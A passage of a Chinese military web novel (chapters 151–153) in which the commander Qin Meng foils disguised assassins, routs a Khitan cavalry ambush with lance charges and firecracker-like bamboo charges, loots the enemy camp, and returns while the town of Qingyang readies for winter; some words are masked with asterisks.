白松岭矿场在秦猛接手后,调拨大批粮秣军械。已从荒僻矿洞变为戒备森严的军事据点。
粮草军械充盈,矿工自卫队武装齐整。近来陆续送来百来个劳力,铁矿石昼夜不息运往军寨。
尤其是飞虎卫赵将军介入后,不仅派来两百精锐驻扎协防,更是从幽州调来了大批工匠,加速修建防御工事和熔炉,冶炼进程大大加快。
岭旁开阔地上,一座新营寨拔地而起!原木栅栏、深挖壕沟、森然拒马,几座箭楼上皆有锐士放哨。
张大胆所率五十矿工自卫队已转为正式寨兵,在几个老兵的带领下日夜操练,呼喝声震天。
秦猛在一众亲兵簇拥下,巡视着这片日益兴盛的产业。
他从巡检司离开后,便顺道来了趟白松岭矿区。转了一圈后,心下稍安。此地依山而建,守备森严,二百余铁甲军士足可抵挡上千敌军。
冶炼进度更令他满意。五座熔炉立起,炉火正旺。
空地上矿石堆积如山,矿头李有田恭敬汇报:“大人,此矿储量极丰,矿层较浅。一人一日可采矿石约六十斤,二百余矿工,每日可得近一百五十担矿石。
五座锻炉建成开火,每炉日炼三四火,每火出熟铁三四十斤。眼下每日约能产出铁料近千斤……”
(担,为矿石草料计量单位,一担为一百二十斤。火,乃铁匠熔炼之称,即一炉之意)
秦猛仔细倾听,不时打断询问。弄明白这些行话后,他眉头微皱,每日千斤铁料,其中五成归铁血军寨,即便如此,也远不够军寨耗用。
“李老丈,”他沉声吩咐,“铁料日产量须增至五千斤。人手、物资等若有短缺,只管开口。”
李有田犹豫片刻,连声应喏:“是,小老儿竭力办妥。”
一旁的新任寨兵队正张大胆拍着胸脯,瓮声说道:“大人!您放心,此事交给俺和老李,定把事儿办好,矿洞和营寨守得如铁桶一般!”
“飞虎卫的弟兄们也帮衬着,**绝不敢来犯!”
秦猛目光扫过张大胆及其身后那些操练得满头大汗的矿兵,微微颔首:“如此甚好。”
切记,此地乃我军寨之根基,万不可有失。”他顿了顿,声音压低,带着一丝不易察觉的冷厉。“尤其要提防那批幽州苦力暗中作乱。”
“遵命!”
巡视完毕,秦猛并未久留,率亲兵**、牛五、阮氏三兄弟等三十余人,踏上了归途。
时值小雪渐稀,天地间一片苍茫。
一行人正在运输通道行进间,忽见前方有一伙二十多个流民蹒跚而行,衣衫褴褛,面带菜色。
流民们循着马蹄声,见到后方边军,眼中顿时燃起希望,纷纷围拢上来,七嘴八舌地哀求:
“军爷,行行好,给口吃的吧!”
“俺们是从并州逃难来的,家被**毁了,实在活不下去……”
“听说铁血军寨的秦将军仁义,俺们想去投奔,求军爷指条明路!”
亲兵队长**见这种人冲来,策马向前厉喝道:“止步,惊了大人的马,你们担待得起吗?”
秦猛却抬手制止了**。
他目光扫过这些面黄肌瘦的百姓,心生恻隐,沉声道:“来人,取些干粮来,分与他们。”
“大人,这……”**有些犹豫,“眼下不太平,这天寒地冻,流民还往寨子跑,还是小心为上。”
“无妨。”秦猛摆了摆手:“皆是汉人百姓,能帮则帮。”
他目光却落在流民中两个始终低着头的汉子身上。
一人身材瘦高,一人矮壮结实,虽也穿着破旧,但步伐稳健,那鼓胀的太阳穴和沉稳的气息,却与周遭脚步虚浮的羸弱饥民格格不入。
“是练家子。”秦猛突然心生警兆。
就在亲兵下马分发干粮,流民们千恩万谢之际——
异变陡生!
那矮壮汉子借着接馒头的瞬间,眼中凶光毕露,一把淬毒短刀自袖中滑出,直刺秦猛坐骑腹部!
同时厉喝:“动手!”
那瘦高汉子如鬼魅般闪出,手中一抹寒光直取秦猛咽喉!
“大人小心!”**目眦欲裂,拔刀疾格!
“铛——!”
金铁交鸣刺耳,火花四溅。
**被震得手臂发麻,胯下马匹更是连退两步。
“保护大人!”牛五咆哮一声,与阮氏三兄弟立刻结阵,将秦猛护在中心。
流民顿时大乱,惊叫着四散奔逃,反而冲乱了亲兵的阵型。
秦猛临危不乱,哐啷拽出腰刀,一刀矮壮汉子,一把扯住缰绳,稳住乌骓马,眼中寒芒乍现:“果然有鬼!何方鼠辈?藏头露尾!”
矮壮汉子狞笑:“哈哈哈,取你性命的人!铁血军寨知寨官,秦猛,你的人头可是值大价钱!”
话音未落,他再次飞扑而上、跃起,攻势更急,刀刀狠辣刁钻,全然是江湖搏命的杀招。
那瘦高汉子身法更是诡异,如泥鳅般在亲兵缝隙中穿梭,短剑专抹关节、刺腰眼,阴毒无比。偶尔一掌拍出,印在铁甲上,出现凹陷。
牛五等亲兵被打得节节败退。
“尔等结阵!绞杀!”秦猛暴喝,声如惊雷。
他本人则从马背上猛地跃下,重靴踏碎积雪,手中腰刀划破冷空气,直劈那矮壮刺客:
“想杀本将?凭你也配?”
刀光如匹练,带着沙场喋血的惨烈杀气。
那矮壮刺客虽悍勇,但却不敢硬接,被这雷霆万钧的一刀逼得连连后退,眼中闪过惊异。
——这秦猛的悍勇,远超雇主所言!
“破锋刀,疾!”秦猛得势不饶人,破锋刀法展开。不像一般武将军中路数的大开大合,反而刁钻狠辣,尽显尸山血海中磨砺出的凶戾!
——这可是后世赫赫有名,专杀鬼子的破锋八式。秦猛步战搏杀能力要强迫他在马上冲阵。
那个矮壮刺客几乎是被压着打,满脸都是错愕。
另一边,**、牛五五
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人结阵,如铁壁铜墙,死死困住那高瘦刺客。
五人虽个人武艺稍逊,但胜在配合默契,铁甲护身,只攻不守。配合外围亲兵不时放冷箭,竟将那身法诡异的刺客逼得险象环生。
“阮二,左翼锁他退路!”
“牛五,劈他右路!”
**嘶声指挥,阵势变幻,如磨盘般挤压着刺客的活动空间。
高瘦刺客越打越心惊,这些军汉的难缠远超预料。
他虚晃一招,企图脱身直取秦猛,却被阮大一记势大力沉的盾击狠狠撞回!
“噗!”刺客喉头一甜,气血翻涌。
身后,阮三抓住机会,一条朴刀狠狠砍来。高瘦刺客手忙脚乱地格挡,****狠狠扎来。
那刺客懒驴打滚躲开,狼狈至极。
与此同时,秦猛与矮壮刺客的战斗已至白热化。
“咔嚓!”
一声令人牙酸的脆响!
秦猛竟以刀柄硬撼对方短刀,摸清对方套路的他,顺势一记贴山靠,如山岳般撞入对方怀中!
砰的一声巨响,秦猛外带身穿的重甲,矮壮刺客只觉如被蛮牛冲撞,胸骨欲裂,踉跄后退。
秦猛眼中凶光一闪,踏步跟进,刀光如**出洞!
“噗嗤——!”
血光迸现,一条断臂带着短刀飞起!
矮壮刺客发出凄厉惨嚎,尚未及反应,秦猛暴喝“给我死”,刀锋已如影随形,抹过他的脖颈!
“呃……”
嗬嗬声被涌出的鲜血堵回,刺客瞪圆双眼,尸身重重倒地。
高瘦刺客见同伴毙命,魂飞魄散,虚晃一招,拼着硬受**一刀,转身便欲往林子里逃遁。
“留下!”秦猛抄起地上一把**箭,看也不看,甩手疾射!
“嗖——!”
箭矢破空,精准地贯穿刺客小腿!
刺客惨叫一声,扑倒在地,旋即被蜂拥而上的亲兵死死按住。
秦猛拄刀喘息,扫视战场,流民早已逃散无踪。只有半个馒头掉在地上,袅袅热气升腾。
之前哀求给口吃的,眼下却跑得没影。不得不说,这是一个讽刺,秦猛不禁露出自嘲的笑。
“大人,您没事吧?”**上前,关切地问道。
“无碍。”秦猛摆手,目光冷厉地走向被俘的刺客。
“说!谁派你们来的?”
那刺客忍着痛,咬牙不语,眼神怨毒。
秦猛冷笑,一脚踩在他的伤口上:“骨头挺硬?又是硬汉?老子有的是办法让你开口。”
**,把他带回去,仔细审问!”
“是!”
然而,就在亲兵们刚松一口气,把俘虏捆绑上马时——
秦猛猛地抬头,侧耳倾听,脸色骤变:
“不对!”
远处,如闷雷般的马蹄声由远及近,迅速变得清晰可闻!
大地开始轻微震颤!
“大人,骑兵!是大队骑兵!”**失声惊呼。
只见后方的林子里,大群骑兵如鬼魅般涌出来!
第151章 雪原喋血,马槊破阵
“该死,前面也有伏兵!”
牛五气急败坏的骂声撕裂寒风,眼中尽是惊怒。
众人循声望去,心顿时沉入谷底。
——前方密林深处,积雪簌簌震落,蹄声如闷雷滚近。
一股数量更多的契丹骑兵杀奔过来,人人披挂铁甲,外罩毛皮,弯刀映着雪光,杀气盈野!
这支伏兵显然蛰伏已久,就为等他们踏入这死亡陷阱。
“上马!列阵!”秦猛面沉如水,厉声下令,翻身上马动作一气呵成。乌骓马感知主人杀意,昂首嘶鸣。
契丹骑兵目标明确,直扑而来!
这绝非偶遇,而是精心策划的伏杀!
有人告密,雇刺客行刺不成,再联络草原**,于此林地张网以待,就是为了杀他秦猛!
之前那股如影随形的窥视感,源头便是这群**。
秦猛瞬间想通一切,脸色阴寒如冰。
想要他命的人,除了刘德福此人,用脚趾头想也知道是其背后利益集团,幽州官僚的黑手!
“好好好,逼老子走你们的路,那就让你们无路可走!”秦猛眼中寒光骤盛,杀意沸腾至顶点。
前后两股骑兵洪流已形成夹击之势,目标逃无可逃。契丹**发出兴奋的呼哨声,加速冲来。
轰隆隆,马蹄践雪,声如奔雷,震得人心魄欲裂!
尚未完全接近,后方敌骑便在奔驰中,双腿夹紧马腹,张弓搭箭,动作整齐划一,皆是精锐!
“嗖嗖嗖——!”
一波黑压压的箭雨带着刺耳尖啸,已然破空袭来。
“举盾!护住大人!”牛五嘶声怒吼,猛地将一面厚重皮盾死死护在秦猛身前。其余盾骑兵亦是反应迅捷,纷纷挡在前方,擎盾格挡。
叮叮当当!
箭镞多数被弹开,溅起火星。但仍有几名动作稍慢的亲兵中箭,穿透铁甲,幸好伤势不重。
唯独那名被俘的刺客,顷刻间被射成了筛子,发出凄厉惨嚎扑倒在地,鲜血瞬间洇红雪地。
“**,狭路相逢勇者胜!”
“”跟老子冲,先破一路,避免被夹击,凿穿后面那队!”秦猛一夹马腹,踏雪乌骓人立而起,发出希律律的长嘶,如离弦之箭般窜出。
“杀,杀**!”亲兵们毫不迟疑,拼命鞭打战马,紧随其后,呐喊着,决然冲向后方敌阵。
一颗号炮尖啸着升空,炸开一团绚丽的血色烟花。
“奔射!”秦猛怒吼,同时摘下鞍旁特制强弓,抽箭、搭弦、开弓如满月,动作快如电光石火。
弓弦震响,箭矢如同长了眼睛,精准洞穿一名冲锋而来的契丹骑兵面门,对方惨叫着栽下马背。
“嗖嗖嗖!”
阮氏三兄弟闻令而动,弓弦连响,例无虚发!
**等亲兵亦是一轮急促抛射,箭雨泼洒而去。
对面顿时人仰马翻,惨叫连连,顷刻间便有十多人跌**下!
秦猛带队又是一波箭雨压制,双方距离急速拉近。
敌骑狰狞面目已清晰可见,领头是一名身材魁梧,刀疤脸的大汉。
他用那狼一般的目光死死锁定秦猛,如同盯着待宰羔羊,狞笑声如破锣,充满嗜血的兴奋。
“汉狗!我乃铁鹰酋帅帐下大将阿里山,特来杀你!”
铁鹰酋帅?秦猛瞬间明了!
——定是此前在双涡堡击溃其弟萧铁虎并斩杀、擒获阿巴泰结下的死仇,今日竟是报仇来了!
“无名野犬,也敢狂吠?”秦猛冷嗤,毫无惧色。
他挂好强弓,反手摘下军工作坊为他量身锻造的重装马槊,是他给予思路,让铁匠工坊锻造。
专为破甲冲锋所用!
此槊长一丈八尺(约四米),重达四十五斤,槊杆以韧木为核心裹铁皮,仅是槊首锋刃便长达尺余,乃骑兵专属,非气力大者不可用。
“破阵!”秦猛咆哮,单臂擎槊竟似毫不费力!槊锋平指,率领亲兵队如旋风般狠狠撞入敌阵。
马槊在古代骑兵冲锋中具有无与伦比的破坏力。
秦猛深谙此道,槊借马势,挥舞开来!
但见槊影翻飞,直刺而出,将迎面的**连人带甲捅个对穿;或横扫千军,将试图侧袭的敌骑连人带刀扫飞出去。
乌骓马冲势惊人,槊锋所向,血肉横飞!
他身后亲兵们同样擎起制式马槊,虽较秦猛之槊稍轻,却同样是破甲利刃,结成冲锋槊阵!
槊尖如林,随着战马奔腾突刺,凡是挡在前面的**兵,无不被轻易刺穿身体、挑飞!
阵型过处,仿佛一道死亡犁铧在契丹骑阵中硬生生犁开一条血路,根本没有人能挡住片刻。
**、牛五各率一小队人马,从左右两翼稍稍散开护卫侧后,手中马槊戳刺,饮血无数。
前方敌阵被槊阵瞬间凿穿,敌人侥幸近身时,拽出腰刀劈砍,寒残肢断臂和破损兵刃翻飞。
亲兵队训练有素,一击得手毫不恋战,迅速收拢。再次形成紧密的冲锋阵型,紧随秦猛马后,打马加速,向着敌阵纵深继续冲杀。
这支埋伏的契丹骑兵虽装备精良,勇猛悍恶,堪称精锐。
然而,秦猛亲手调教、装备更为精良、战术更加先进的亲兵槊阵,展现出了碾压性的优势。
一个照面,契丹**便死伤过半,阵型大乱。
而秦猛身后的亲兵,凭借马槊的长度优势和全身铁甲,竟无一人坠马!
“给老子死!”秦猛暴喝如雷,借助乌骓狂暴的冲势。
马槊一记势大力沉的横扫,将一名扑上来的百夫长连人带刀砸得胸骨塌陷,倒飞出去。
旋即秦猛手腕翻转,槊锋回正,毒辣一刺,又将两名并排冲来的敌骑如同糖葫芦般瞬间洞穿!
“汉狗!死来!”那自称阿里山的敌将觑得一个空隙,怒吼着策马猛扑而来,手中重型弯刀划出一道凌厉弧光,恶狠狠劈向秦猛的脖颈!
秦猛双臂叫力,猛地甩动马槊,将串在槊锋上的两具沉重尸首狠狠砸向阿里山!
阿里山骑术果然精湛,猛拉缰绳,战马人立而起,惊险躲过这骇人一击。
然而,就在其旧力已尽新
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力未生之际,秦猛猛夹马腹,乌骓瞬间爆发出惊人的速度前窜!
秦猛双手稳握槊杆,借着二马错镫的刹那a直刺而出。
“噗嗤——!”
锋锐的槊刃轻易破开铁甲,深深凿入阿里山腹部!
阿里山双眼猛地暴凸,难以置信地低头看向贯穿自己的长槊,一手徒劳地想去抓握槊杆。
秦猛眼中冷芒一闪,双臂肌肉虬结,猛地发力一搅一挑!
“呃啊——!”阿里山发出一声非人惨嚎,竟被秦猛凭借巨力生生挑离了马背。身躯被甩向空中,划过一个弧线,头朝下狠狠掼在硬土上!
“砰!”颅骨碎裂声令人牙酸,红白之物顿时溅洒开来。契丹伏弗郁部有名的勇士栽在了此处!
“阿里山大当户**了。”附近契丹骑兵目睹这一幕,失声惊呼,瞬间就让**兵变得骚乱。
“呸,一个废物,也敢口出狂言?”
秦猛一口浓痰吐在阿里山的脸上,还没咽气的阿里山满脸**,张嘴欲骂却被血沫子堵住,几次挣扎却都无力栽倒,最终不甘心的死去。
秦猛看也不看那仍在抽搐的尸身,准备带队冲锋。
“杀光他们!”此时,两百多个契丹骑兵从斜后方疾驰追来,马蹄踏碎积雪的闷响越来越近。
距秦猛等人仅有百多步,前排骑兵满脸狞笑,已开始俯身抽箭,弓弦绷起的脆响清晰可闻。
“按计划来!让这群**狗开开眼界!”
秦猛瞥了眼,没有丝毫慌乱,吼声压过人喊马嘶。
身旁的牛五、阮大闻声而动,迅速从马鞍侧袋里抽出两节半尺长的竹筒——筒口裹着防潮的油纸,尾端还拖出一截拧成股的麻绳引线。
这是火器作坊刚送来的投掷**,威力虽没达到预期,对付密集冲锋的骑兵却绰绰有余。
两名亲兵立刻摸出火折子,吹亮后凑向引线。
火星顺着麻绳快速蔓延。
牛五、阮大各自抓起竹筒,借着战马跑动的力道,双臂发力将竹筒狠狠掷向冲来的骑兵前方。
契丹骑兵见只是两节竹筒飞来,根本没放在心上,仍催马加速,打算从侧后包抄。可就在骑兵越过竹筒的瞬间,引线恰好烧到油纸裹口处——
“轰隆!轰隆!”
连续两声炸响震得雪地发颤。
炸开的竹筒瞬间在雪地里砸出半米深的坑。飞溅的竹片像锋利的刀子,将周边几匹战马划得鲜血淋漓,马上人更是发出凄厉的惨叫。
最靠前的两三匹马更是直接被炸断腿,轰然栽倒在地。
更可怕的是**的巨响与火光:黑烟裹着火星冲天而起,受惊的战马顿时失控,前蹄扬起疯狂嘶鸣。
有的呆在原地不肯向前,有的直接调转方向撞向同伴,原本整齐的冲锋队形瞬间乱作一团。
不少骑兵弯弓搭箭,却因战马失控,仓促射出的箭失了准头,竟有好几支射中前方的己方人马。
引得**临死前的怒骂、惨叫。
“哈哈哈……”反观牛五,阮大等亲兵,笑声如雷。
第152章 援军至,端敌营
“杀,杀光这些狗崽子!”
秦猛看着乱成一锅粥的敌阵,也是放声大笑,随即拍马舞槊,再次率队冲向已混乱的敌群。
**和牛五一左一右,如影随形,与他形成最为锐利的三角箭锋,带队反复冲锋,再冲锋。
亲兵队默契遵循三三制,队组之间彼此互相配合。长槊此起彼落,将混乱的敌人逐一刺**下。
**已被这血腥恐怖的杀戮吓破了胆。
眼见那丈八长槊沾染血迹、甚至挂着碎肉肠子再次刺来,无不惊恐万状,拼命向两旁躲闪。
无人敢阻挡,无人敢冲锋!
秦猛却并未趁势脱离,反而如同箭头方向标般,率队在敌群中来回冲撞践踏,疯狂戳杀。
一个又一个**惨叫着**。
原本百余人的拦截骑兵,在几个冲杀之中,很快便死伤殆尽,四散奔逃,再无一人敢靠近。
终于,这边人杀得差不多了。
后方大队契丹骑兵因**而队形混乱,调整好队形,怒吼叫骂着再次奔来,马蹄声震天。
秦猛冷冷瞥了一眼,毫不恋战:“撤!”
队伍迅速集结,化作一支利箭,向着白松岭方向疾奔而去。亲兵虽有几个带伤,却无一阵亡!
**主力见状,气得哇哇大叫,尤其是领队大当户被挑杀,回去就得受罚,岂能轻易放弃?
“追,必须杀了那个周将!”几个百夫长喝斥,纷纷拍马狂追,箭矢不断从秦猛等人身后掠过。
“杀,汉狗别跑!”**嚣张的嚎叫声不绝于耳。
其中能说几句汉话的人更是极尽挑衅,辱骂着“缩头乌龟,是男人有种就不要跑”之类的话。
“你们这些狗东西,有种人数相当,厮杀较量。”阮三更是扯着嗓子,用契丹话与追兵对骂。
“哈哈哈,这些狗杂碎欺软怕硬,哪里敢公平较量?”许多略懂草原口语的汉子附和,大笑:“来来来,有种就追过来,不然便是没卵的软蛋”。
双方一追一逃,相互隔空对骂,全是怒火熊熊。
忽见前方雪尘飞扬,隆隆马蹄声如雷动地!一支军容严整的骑兵队伍风驰电掣般迎来!
血色号炮,召集的援军来了!
“大人!卑职来也!”老远,张大胆那粗犷的大嗓门老远便炸响。不仅他亲率三十余名工兵精锐,更有百余名飞虎卫精锐骑兵赶来接应!
“来得正好!”秦猛见状,心中安定。
他勒转马头,眼中战意再次燃起:“转身,迎敌!列阵冲锋,让这群草原豺狼,有来无回!”
“诺!”麾下将士齐声怒吼,声震雪原。
**,牛五各自带队列阵,形成冲锋阵势。援军抵达了,自然而迅速地融入阵型,军势大盛。
“杀!”秦猛马槊高举,再次率队冲锋。
追来的契丹骑兵见对方援军抵达,竟凶性大发。几个百夫长狞笑大吼,不退反进,冲得更急!
许多骑兵甚至狂妄地摘下弓箭,企图施展他们得意的骑射之术。
然而,秦猛麾下的军队,动作比他们更快!更准!更狠!
“奔射!”秦猛挂槊摘弓,再次下令。
只见将士们在冲锋途中挂槊摘弓,胡乱张弓,箭矢歪七扭八地洒向狂冲而来的契丹骑阵!
好在不仅是他的亲兵和工兵,飞虎卫精锐同样装备双马镫,解放双手,骑射技艺精湛无比!
嗖嗖嗖——!
箭矢撕裂空气,发出慑人尖啸。
密集的箭雨精准地落入契丹骑兵群中,锋利的箭镞轻易射穿铁甲,撕裂皮肉,顿时人仰马翻,惨嚎一片。
契丹冲锋阵型瞬间陷入混乱。
然而,这还没完,秦猛再次下令:“丢驱马炮。”
立刻有几个亲兵从马鞍袋里面,取出两串纠缠的小竹筒,这是火器作坊改良后的连环响炮。
是专门用来对付草原骑兵的武器之一。
对头一次听见鞭炮的草原骑兵队,一串千子雷等同一场灾难,能让前排马失蹄、后排骑兵减速,相互碰撞,队形崩裂,冲锋成了笑话。
秦猛知道这点,所以投入人力物力,改良爆竹。
亲兵们按照训练时的做法,点燃引信就甩向奔来的**,在他们惊恐的目光下,噼里啪啦爆响声不断,落入人群中更是引起马群慌乱。
“啊嘶——”战马受惊,嘶鸣不断,停下不敢靠近,鞭炮,还有的发了狂,四处乱蹦,撞向同伴。
**队形从混乱变成了散乱!
铁血军寨的战马却丝毫不受影响,那是寨外军营靠近火器作坊,天天听**,已经习惯。
“槊队!前进!”秦猛把握战机,声如洪钟。槊锋再次平指,沉重的马蹄声如同踏在契丹人的心跳上!
以秦猛为锋矢,恐怖的槊阵再次发动,如同烧红的铁钉戳入牛油,狠狠撞入骚乱的敌群之中。
张大胆与飞虎卫精锐则迅速向两翼散开,形成巨大的扇形攻击面,刀砍箭射,疯狂收割着因阵型混乱而各自为战的**性命!
那张大胆更是勇猛无匹,弃了长兵,挥舞两条沉重的**铁鞭,冲入敌群,左右开弓,砸得敌人颅裂脑迸,口喷鲜血,纷纷惨叫着跌**下。
恰在此时,侧翼雪尘再起!
原来,是李山带队护送清扫道路积雪的队伍,听闻号炮及厮杀声,二话不说,率着数十骑护卫疾奔而来,毫不犹豫地从后方杀入战团。
他们狂笑着,一轮箭矢过后,兜着敌人屁股猛杀。
他们就像那压死骆驼的最后一根稻草。
两面受敌之下,本就阵脚大乱的契丹骑兵彻底崩溃,**得大败,慌乱吼叫,四散逃命。
“想跑?晚了!”秦猛见了,冷笑连连。
他吼声如雷,下达了绝杀令:“杀!除了留几个头目拷问,余者尽诛之,不留活口!”
麾下将士轰然应诺,人人奋勇拼杀,穷追猛打,将被引出林地的契丹骑兵尽数歼灭于雪原之上。
哪怕是**弃械投降,也被斩杀。
惨叫声压过了风雪呼啸,
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半个暖阳冲破云层,映照着雪地上大片大片的殷红和散落的尸体兵甲。
雪地中厮杀声渐歇,最后一名跑得最快的**兵,被阮二一箭射穿脖子,重重栽倒在血泊中。
寒风中,唯有大周军卒的襟袍烈烈!
秦猛勒住马缰,目光扫过满地尸体,沉声道:“**!”
“末将在!”身材魁梧的汉子策马上前。
“你带五十人留下,打扫战场、救治伤兵,另外派人联系后面清扫队伍,挖坑掩埋尸体。”
秦猛马鞭指向身后密林,“剩下的人,跟我追!”
话音未落,他已拍马冲入林中,身后骑士纷纷策马跟上,无论是寨兵还是飞虎卫,没有迟疑。
这就是“给我杀”与“跟我杀”的影响。
秦猛每战必身先士卒,早就给手下兵丁树立了形象。
大队人马进入树林,循着地上清晰的蹄印疾驰。
秦猛心中早有盘算:**入境,绝非轻装而来,既要吃饭又得睡觉,他注意到不少**是往林子里逃窜,必有固定营地存放马匹与补给。
果然,仅追出约莫小半个时辰。
前方密林豁然开朗,一片老松树林映入眼帘。秦猛抬手示意队伍停下,俯身拨开灌木。
只见松树林深处隐约有帐篷晃动,七八个**兵正靠在树干上闲聊,另有数人在草棚旁巡视。
——正是**的补给营地。
“分三队,李山领左路绕到马棚后侧,右路张大胆带人直扑帐篷,听我号令,一并拿下!”
秦猛压低声音部署。待左右两队人马各自就位,
他抽出腰间长刀,大喝一声:“杀!”
话音未落,秦猛带队长驱直入,左右两路的骑队几乎同时冲出,箭矢如流星般射向营地。
**猝不及防,刚要起身拔刀,已被骑兵冲散阵型。
秦猛一马当先,长刀劈落,当场斩杀两名**。
其余骑士紧随其后,**腰刀乱舞,戳翻敌人。
不过片刻功夫!
留守营地的**兵便被肃清,一共有三十多人。偶尔有一两声惨叫,也被风雪和马蹄声掩盖。
秦猛拎着染血长刀,策马巡视营地,沉声吩咐:“快!清点缴获。把马匹全都牵出来。
粮草、兵器、皮货,所有有用的东西,全部带走!”
这些物资对新生的军寨而言,皆是宝贵资源。
众人兴奋地分散行动,掀开帐篷,凡是有用的东西都被迅速搜刮出来,驮上缴获的战马。
袋装的青稞、肉干、奶疙瘩、皮衣,金银首饰……
草棚里拴着数百匹草原好马,以及数十头肥羊。
营地中上百个帐篷都被拆卸带走……
不多时,浩浩荡荡的马队离开老松林。每人除了自己战马,还牵着几匹骏马,驮着物资。
只有那些被扒得光溜溜的的**尸体,被随意丢弃在林间的雪地里,豺狼虎豹会寻着味赶来!
——入境来**放火,却落了个客死他乡的下场!
第153章 青阳城备战
寒风在旷野上呼啸盘旋,却吹不散空气中的血腥味,那是方才厮杀留下,带着铁锈气的印记。
秦猛率队杀入树林,**勒住缰绳,目光扫过狼藉的战场,先让人去收拢受惊跑散的战马。
——这些好马有价无市,是军寨扩充骑兵的关键。
转头,他亲自带着亲兵走向伤员,清点下来共二十余人。
万幸的是,将士们都穿着铁甲,多数只是皮外伤,几个亲兵是肩膀?1?5箭,并无性命之忧。
军卒们迅速烧起热水、化开精盐。
几个医疗兵忙碌起来,**接过布巾蘸了盐水,仔细为士兵清洗伤口,敷上草药、缠好纱布。
**说着秦猛在看望伤兵时的话来安慰众人。
“大家总结教训,为何受伤?下次一定要谨慎。安心养着,七八天光景,又是能提刀上阵的好汉。”
不久后,伴随着嘈杂声传来,大队人马赶来。是拉着马车、拿着铲锹的清扫积雪的劳力队伍。
白松岭矿洞连接军寨的快速通道,每日都会组织人力清扫,故而路面坚硬,没有厚雪堆积。
尽管只来了大半,却足有二百多人。这些劳力却都随身携带刀枪,甚至不少人斜背着硬弓。
并且通常有战兵队伍护送,随时能够投入战斗。
白松岭矿洞那边的驻军,也会定期巡逻道路通畅,一旦察觉有情况,便会火速赶来支援。
那些**吃了嚣张狂妄、又是外来户的亏,贸然跑到这条要道附近来埋伏,实在是自寻死路。不排除契丹贵族为了排除异己,送来敢死队。
此刻,**与劳力领队接洽,迅速指挥队伍。
立刻各就各位,分工协作。
有人帮忙捆绑、驮运战利品;有人合力搬运尸体;更有许多人拿着铁铲到较为松软之地挖坑,准备掩埋,防止来年开春了,发生瘟疫。
秦猛带队走出林子,就看到这一幕火热的场景。
“快看,秦将军回来了!”人群中,不知谁喊了一声。
众人纷纷顺势看去,见到秦猛骑着高头大马,带领得胜之师驱赶着长长一串马群凯旋。
民夫们便知道这位秦将军又打了一个大胜仗,纷纷停下手中活计,爆发出震天的胜利欢呼。
“秦将军威武!”
“秦将军战无不胜!”
“咱铁血军寨,必胜!”
民众自发的呐喊声此起彼伏,一浪高过一浪。
他们这不是谄媚恭维,而是发自内心的激动与感激。
边疆苦寒,战乱频仍,他们太需要一位能打胜仗、能庇护一方的将军了。
几十年来,**年年进犯,越发猖獗。边疆战乱从未真正停歇,不知有多少人流离失所,家破人亡,不知有多少人,倒在这风雪荒野之中。
如今,秦猛横空出世。这个小卒就敢斩杀朝廷命官,接连击溃鞑虏、缴获无数的狠角色。
自他执掌军寨,青阳城周边明显安稳了许多。
寨民私下议论时,都觉得有了主心骨。
所以见到秦猛又斩杀**,他们高兴,他们愿意真心拥戴这位骁勇善战、又体恤百姓的将军。
“兄弟姐妹们!”秦猛在马上朗声道,声音清晰地传遍四周:“咱们又侥幸打了一个胜仗。
这是咱们全体军民同心同德、协力杀敌的功劳!杀**人人有责,这些缴获,大伙都尽了力!”
听着如潮涌的欢呼,看着那些激动挥手的人们,秦猛心中感慨万千,总算深切体会到后世国家元首踩在红地毯上,两旁人鼓掌的感觉。
——只是那是提前彩排好的,他这却是真的。那种被军民由衷爱戴的感觉是何等令人振奋。
但秦猛迅速在心里叮嘱自己:戒骄、戒躁,切莫自满!各部落鞑虏仍在草原上虎视眈眈。
这点胜利只是开始,不能沾沾自喜,故步自封。必须不断提升军寨实力,方能真正站稳脚跟。
他压下心绪,下令队伍协助民壮尽快打扫清理战场,又让李山、**等人着手初步统计杀敌人数,按队,组记录战功,清点具体战利品。
经核对,此次埋伏并追击歼灭的契丹骑兵。约有四百八十余人,每人配备双马,除去少部分马匹在战斗中死亡或受了点伤需处理外。
其余近九百匹战马均被收拢,这无疑是一笔财富,自用的话,也是极大增强军寨的机动力量。
另外还缴获了铁甲数百余领、弓刀箭矢等军械杂物无数。具体数量价值需回寨后由专人详细统计。
战场很快打扫完毕,鞑虏尸体则被推入深坑掩埋。
受伤战士去往军寨休养。
张大壮率部分人手返回白松岭方向,顺便拖拽回几匹死马——矿区据点近来几乎顿顿有肉。
秦猛则亲自带队,驱赶着庞大的马群,驮载着丰厚的缴获,说说笑笑,浩浩荡荡返回军寨。
……
午后的青阳郡城,风雪渐渐小了,雪花稀疏地飘落,最终只剩零星几点,挣扎着在空中打旋儿。
远处层层叠叠的云雾环绕在山涧,近处的屋舍瓦当上积了一层白,宛若铺开了一幅水墨画卷。
暖阳自乌云缝隙中透出些许金芒,洒在行人肩头,虽不炽烈却足以驱散连日风雪带来的阴寒。
越来越多的人推开家门,走上街头,他们踩在积雪上,发出“咯吱咯吱”的声响,身后留下一串深深的脚印。
人们纷纷仰头,眯着眼,或手搭凉棚,望着千云中若隐若现的日头,感受着那短暂却珍贵的温暖。
街上人流很快多了起来
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,许多原本因风雪而紧闭门户的店铺也陆续卸下门板,开了张。
摊贩们推着车、挑着担,从四面八方汇集到主要的街市,寻着往常的位置摆开货摊。
此起彼伏的吆喝声、讨价还价声很快响彻市集。
沉寂多日的青阳郡城迅速恢复了往日的喧闹与生机。
但这喧闹之下,却潜藏着一丝不易察觉的焦虑。
除了那些急着脱手货物,好离开北方的外州商队,本地居民面上虽也带着笑,心里却沉甸甸的。
他们踩着积雪,争相购买着煤料、柴火、粮食等过冬物资,有些甚至开始提前准备年货。
——并非为喜庆,而是源于一种深植于血脉的警惕与恐惧。
世世代代,口口相传的经验告诉他们:北地的第一场雪停了,日头出来,冰雪看似开始消融,往往预示着更为酷寒的天气即将降临。
更意味着那阻挡草原铁骑的天堑——拒马河,即将彻底冰封。
届时,草原上的**便会如饿狼般大举入境,劫掠粮食、人口,焚烧村庄。
普通百姓忙于在雪停的间隙抢购物资,而外地商队则趁机出售布匹、药材、盐铁等紧缺货品,赚得盆满钵满,脸上洋溢着止不住的笑意。
与往年不同的是,今年市面上虽需求急切,却无人敢肆意哄抬物价。
即便是那些平日里惯于囤积居奇、操纵市场的地主乡绅之家,此番也异常老实地依照市价。
缘由无他,县衙与郡衙早已联合张贴了醒目的安民告示,不仅呼吁商贩诚信经营,勿要趁火**。
更是直言“**来袭之际,当同心协力,共度时艰”。告示措辞严厉,背后更有不久前林郡守监斩,那场数十个人头落地的震慑余威。
无人敢在这个当口触霉头。
